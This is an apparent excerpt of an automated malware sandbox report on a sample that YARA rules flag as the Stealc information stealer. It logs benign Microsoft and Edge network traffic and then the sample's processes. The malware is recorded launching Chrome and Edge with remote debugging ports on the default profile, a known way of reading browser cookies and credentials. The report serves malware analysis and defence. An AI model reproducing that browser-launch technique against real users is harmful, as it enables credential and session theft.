2024-11-12 09:37:32 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093732Z-16547b76f7f4k79zhC1DFWu9y00000000fg000000000687p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49919	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:32 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:32 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:32 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 325dc9c5-101e-0073-28c3-3418c4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093732Z-17df447cdb5vp9l9hC1DFW5hw800000007c0000000008uu4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:32 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49920	13.107.246.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:33 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 174c0071-f01e-003d-08a2-34dd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T093733Z-15869dbbcc6vr5dxhC1DFWyw4g00000001m0000000003g9z Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-12 09:37:33 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a35883a7-a01e-000d-7ea0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093733Z-17df447cdb5wrr5fhC1DFWte8n0000000c5000000000azv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 7cdf3305-b01e-0070-0ea7-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093733Z-17df447cdb5t94hvhC1DFWw9780000000c9g00000000418w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:33 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 898deafb-901e-0048-35d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093733Z-16547b76f7f7jnp2hC1DFWfc300000000ffg000000007x5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:33 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 14de8335-b01e-003e-77d2-2c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093733Z-16547b76f7f7scqbhC1DFW0m5w0000000f7g00000000bsta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:33 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:33 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 6266d644-901e-0083-0e09-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093733Z-16547b76f7flf9g6hC1DFWmcx800000005z0000000008xg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:33 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49928	3.170.115.57	443	3560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:33 UTC	925	OUT	GET /b?rn=1731404251590&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=34DD94F9EF376C2E059581CCEEC66D3A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 09:37:33 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 12 Nov 2024 09:37:33 GMT Location: /b2?rn=1731404251590&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=34DD94F9EF376C2E059581CCEEC66D3A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=149268737e27d81518464331731404253; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=149268737e27d81518464331731404253; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 76cb8e50a777b67d2bd1249a102609a4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW59-P4 X-Amz-Cf-Id: CIs8IrMP_zLZ9oth1RhdoK0dZK8H9Dpc-sGlOQs49FIkDwBpQfa4AQ==

Target ID:	0
Start time:	04:36:58
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaa0000
File size:	1'830'912 bytes
MD5 hash:	BA4B1F7686F54035029326B69B13145C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2667428725.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2114623757.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:37:08
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:37:09
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,7968163992587287453,17615020067299971596,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:37:18
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:37:18
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2132,i,10544505411866981642,738712716715978789,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:37:19
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:37:19
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	04:37:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7048 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:37:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7188 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:37:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
